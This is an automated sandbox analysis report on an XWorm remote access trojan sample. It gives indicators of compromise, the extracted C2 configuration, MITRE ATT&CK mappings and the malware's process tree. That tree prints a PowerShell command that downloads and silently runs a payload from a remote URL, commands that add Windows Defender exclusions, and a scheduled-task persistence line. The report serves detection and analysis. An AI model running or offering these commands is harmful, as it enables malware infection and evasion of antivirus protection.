xworm | ab02f620cc1e96c981c0344a0cb2ac6b0455547431c7fcd2dc9a256531ef2576

Analysis

max time kernel
127s
max time network
131s
platform
windows11-21h2_x64
resource
win11-20250217-en
resource tags

arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system
submitted
02/03/2025, 11:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

conn.exe
Size

28.2MB
MD5

10a8827711072bcfb24f0677231ed67b
SHA1

4c701929c7a09bafc66911e63064bb2dc96b840d
SHA256

ab02f620cc1e96c981c0344a0cb2ac6b0455547431c7fcd2dc9a256531ef2576
SHA512

bc4277b9b87d044b12ffd589876c9ec3d1c0f9e5a16286fa720882173810f12fb4b5361a33c3cca6f0ecc6775c84214499686adf8721a8799daab190036b4f18
SSDEEP

786432:Etu0coshxWHVn6s6b64G71jaoCo1Ha2XykTZrfDn2L91:6u0jyC6Fb6V71JCo1RDfDu

Score

10^/10

xworm discovery execution persistence ransomware rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

thetest.selfhost.co:1339

Mutex

hyd6qZsPPsPPgljc

Attributes

Install_directory
%ProgramData%
install_file
DirectOutputService.exe

aes.plain

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral1/memory/840-358-0x000000001C1C0000-0x000000001C1CE000-memory.dmp	disable_win_def

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x001a00000002b0b6-308.dat	family_xworm
behavioral1/memory/840-315-0x00000000006B0000-0x00000000006E8000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	4984	powershell.exe
8	4984	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4984	powershell.exe
4984	powershell.exe
3068	powershell.exe
3408	powershell.exe
4604	powershell.exe
636	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Defender.lnk	defender.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Defender.lnk	defender.exe

Executes dropped EXE 3 IoCs

pid	Process
840	defender.exe
2124	Windows Defender
4920	Windows Defender

Loads dropped DLL 37 IoCs

pid	Process
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe
2688	conn.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Defender = "C:\\ProgramData\\Windows Defender"	defender.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\XBackground.bmp"	defender.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	conn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	conn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000_Classes\Local Settings\MuiCache	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000_Classes\Local Settings	OpenWith.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3449935180-2903586757-2462874082-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	BackgroundTransferHost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4412	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
840	defender.exe

Suspicious behavior: EnumeratesProcesses 45 IoCs

pid	Process
4984	powershell.exe
4984	powershell.exe
3068	powershell.exe
3068	powershell.exe
3408	powershell.exe
3408	powershell.exe
4604	powershell.exe
4604	powershell.exe
636	powershell.exe
636	powershell.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
840	defender.exe
3424	msedge.exe
3424	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
4016	identity_helper.exe
4016	identity_helper.exe
3476	msedge.exe
3476	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
2832	msedge.exe
2832	msedge.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: 35	2688	conn.exe
Token: SeDebugPrivilege	4984	powershell.exe
Token: SeDebugPrivilege	840	defender.exe
Token: SeDebugPrivilege	3068	powershell.exe
Token: SeDebugPrivilege	3408	powershell.exe
Token: SeDebugPrivilege	4604	powershell.exe
Token: SeDebugPrivilege	636	powershell.exe
Token: SeDebugPrivilege	840	defender.exe
Token: SeDebugPrivilege	2124	Windows Defender
Token: SeDebugPrivilege	4920	Windows Defender

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
840	defender.exe
1352	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3092 wrote to memory of 2688	3092	conn.exe	77
PID 3092 wrote to memory of 2688	3092	conn.exe	77
PID 3092 wrote to memory of 2688	3092	conn.exe	77
PID 2688 wrote to memory of 3880	2688	conn.exe	78
PID 2688 wrote to memory of 3880	2688	conn.exe	78
PID 2688 wrote to memory of 3880	2688	conn.exe	78
PID 2688 wrote to memory of 488	2688	conn.exe	80
PID 2688 wrote to memory of 488	2688	conn.exe	80
PID 2688 wrote to memory of 488	2688	conn.exe	80
PID 2688 wrote to memory of 4984	2688	conn.exe	81
PID 2688 wrote to memory of 4984	2688	conn.exe	81
PID 2688 wrote to memory of 4984	2688	conn.exe	81
PID 4984 wrote to memory of 840	4984	powershell.exe	84
PID 4984 wrote to memory of 840	4984	powershell.exe	84
PID 840 wrote to memory of 3068	840	defender.exe	85
PID 840 wrote to memory of 3068	840	defender.exe	85
PID 840 wrote to memory of 3408	840	defender.exe	87
PID 840 wrote to memory of 3408	840	defender.exe	87
PID 840 wrote to memory of 4604	840	defender.exe	89
PID 840 wrote to memory of 4604	840	defender.exe	89
PID 840 wrote to memory of 636	840	defender.exe	91
PID 840 wrote to memory of 636	840	defender.exe	91
PID 840 wrote to memory of 4412	840	defender.exe	93
PID 840 wrote to memory of 4412	840	defender.exe	93
PID 2688 wrote to memory of 1204	2688	conn.exe	96
PID 2688 wrote to memory of 1204	2688	conn.exe	96
PID 2688 wrote to memory of 1204	2688	conn.exe	96
PID 2688 wrote to memory of 4692	2688	conn.exe	98
PID 2688 wrote to memory of 4692	2688	conn.exe	98
PID 2688 wrote to memory of 4692	2688	conn.exe	98
PID 2688 wrote to memory of 3616	2688	conn.exe	101
PID 2688 wrote to memory of 3616	2688	conn.exe	101
PID 2688 wrote to memory of 3616	2688	conn.exe	101
PID 2688 wrote to memory of 1836	2688	conn.exe	108
PID 2688 wrote to memory of 1836	2688	conn.exe	108
PID 2688 wrote to memory of 1836	2688	conn.exe	108
PID 840 wrote to memory of 2832	840	defender.exe	110
PID 840 wrote to memory of 2832	840	defender.exe	110
PID 2832 wrote to memory of 2224	2832	msedge.exe	111
PID 2832 wrote to memory of 2224	2832	msedge.exe	111
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112
PID 2832 wrote to memory of 4020	2832	msedge.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\conn.exe
"C:\Users\Admin\AppData\Local\Temp\conn.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3092
- C:\Users\Admin\AppData\Local\Temp\conn.exe
  "C:\Users\Admin\AppData\Local\Temp\conn.exe"
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c color 0A
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3880
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    - System Location Discovery: System Language Discovery
    PID:488
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe "Invoke-WebRequest -Uri 'https://github.com/Sh1r0ko11/es/releases/download/V12/Defender.exe' -OutFile 'defender.exe'; Start-Process defender.exe -WindowStyle Hidden"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Users\Admin\AppData\Local\Temp\defender.exe
      "C:\Users\Admin\AppData\Local\Temp\defender.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      Sets desktop wallpaper using registry
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:840
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\defender.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3068
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'defender.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3408
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Windows Defender'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4604
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Windows Defender'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:636
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows Defender" /tr "C:\ProgramData\Windows Defender"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4412
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\How To Decrypt My Files.html
        5⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:2832
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9dd663cb8,0x7ff9dd663cc8,0x7ff9dd663cd8
        6⤵
        
        PID:2224
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1920,603482480004622304,396116857950570724,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1932 /prefetch:2
        6⤵
        
        PID:4020
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1920,603482480004622304,396116857950570724,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 /prefetch:3
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3424
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1920,603482480004622304,396116857950570724,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2600 /prefetch:8
        6⤵
        
        PID:3364
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,603482480004622304,396116857950570724,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3100 /prefetch:1
        6⤵
        
        PID:3320
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,603482480004622304,396116857950570724,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3108 /prefetch:1
        6⤵
        
        PID:4832
      - C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1920,603482480004622304,396116857950570724,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5160 /prefetch:8
        6⤵
        
        PID:1584
      - C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1920,603482480004622304,396116857950570724,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5160 /prefetch:8
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:4016
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1920,603482480004622304,396116857950570724,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3816 /prefetch:8
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3476
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4692
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3616
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c cls
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1836

C:\ProgramData\Windows Defender
"C:\ProgramData\Windows Defender"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2124

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1352

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
- Modifies registry class
PID:3696

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2084

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4600

C:\ProgramData\Windows Defender
"C:\ProgramData\Windows Defender"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
1ab6627d6da0724908361604b2b351b7

SHA1
d6e7960616dd38cd05633face9bb0bdd061e3211

SHA256
88a373cea6d7ad2daaee9168a0519f8a23ab9ec9cbceab97df4c8d39fe1544d0

SHA512
59903d7dd6da68cb4378eceb6e356d5861514b8365da747da4cd05615ec7c7a51c810cbac6a7a00256db1aeedad80ef71b6ff06bae61e1884e620cc4a45a2d33

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
25d7facb86265ce3e89835dd7b566491

SHA1
4db1197fadadd7742986efdc2ca76f89cef96942

SHA256
3d225a00da389fde7674a7eeb98e8572be2879252290ac00faa3a80ea671073f

SHA512
cbfc02ffc441edc20c72b35d20b15178a2173e2a1c54e3736f7ba6d058e1ac7a5c1b15798bf5b91ed3a8197430f0fe84aa3d75a8aba61b4f4dd85c1b3fe68bbb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
23ac198f174430dccbb35bc2f658accd

SHA1
3a18d624f54b4bc45104e45cf5435a7f9d5b7480

SHA256
416b75f557533cb27c8359a8b0824538ce61d5ca86dd393a3c3bedb1431d97a5

SHA512
ecedc42f8323944ed3a0152e588853e9be6b2d27f6e8cb0062a4c47453c27b5df0688c463eb524658786baa8317cea73abaf486cae3c701105c76cf9686e4dce

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\a466a86f-eac3-4b77-a103-05b67fa7e504.tmp

Filesize
5KB

MD5
28bb77f3c60e6260ae3a051259fc9962

SHA1
244d37fd3150c265a0b9c2eca246c1bbde57d5fa

SHA256
9883ab250406980bafa32f3eebdc729aa1245d6f275dd16fceb3f9810c717bd7

SHA512
53b7baf9a7f1ba3b00b98ede1ad7dcfcd945441a3b7f717e997c7c3f8d5c6427f865cbe1ad3721fab587b45862fbf63046bad687257f50b8c5bdfb1f72aacea9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
f6200c43516301bc616e9abbc5786619

SHA1
c087f9ccb549ddadacd9b0097c9c372e7f066713

SHA256
7dec664ff076f784aa53ea89156c14a1dbb084adb1a11aa230f45a78a27c6ccf

SHA512
f637ef458b2bac3888907892aad80772ab0ab1f69cb44c126f11568446a3c141ca5910204ea327ffe5ae9f6126a292970895e0c69dcb55c6c956533cd2bfe712

Download Submit
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\bd32605f-739e-4679-a574-11d9364114f8.down_data

Filesize
555KB

MD5
5683c0028832cae4ef93ca39c8ac5029

SHA1
248755e4e1db552e0b6f8651b04ca6d1b31a86fb

SHA256
855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e

SHA512
aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30922\Crypto\Cipher\_Salsa20.pyd

Filesize
11KB

MD5
67eff3114d1b45b18c87bd439311e993

SHA1
73ea8f13af119fb64a17cee5798282a4815e7381

SHA256
dab447710f7dd595c7311ed7921ba4b291666d7231118bc6b01a95d897a9a14b

SHA512
9de9612bd80c8d3b2cd34b4695bf555b4b98020c4b64d581388aad2ef1eb99140b0b37b784f8564bad2032c275835c20f28e550ddf18d139d063ef87b0423501

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30922\Crypto\Cipher\_raw_cbc.pyd

Filesize
9KB

MD5
d372a4eec83ab1384c242edea93e58bb

SHA1
51265eddb22890d6069a70aaca8ce6c8f0733b49

SHA256
b5c57f458dce223ecc6eca92cdc438f89d80936c1fd28f3ded3c34e7b5b9c808

SHA512
09535302fd60193dd965b01d7e6119788215ac062406d1f09969c9d8aa751c8823d8478a5cb9a10d62212dd82ce84eda138f9a1f3ffa42d1c3faa093eb891a2d

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI30922\Crypto\Cipher\_raw_cfb.pyd

Filesize
10KB

MD5
75d76df25c45abf5e5aff19df6e519ee

SHA1
bec2fb0fa9103f5f00a96c171e6cc22f30c67423

SHA256
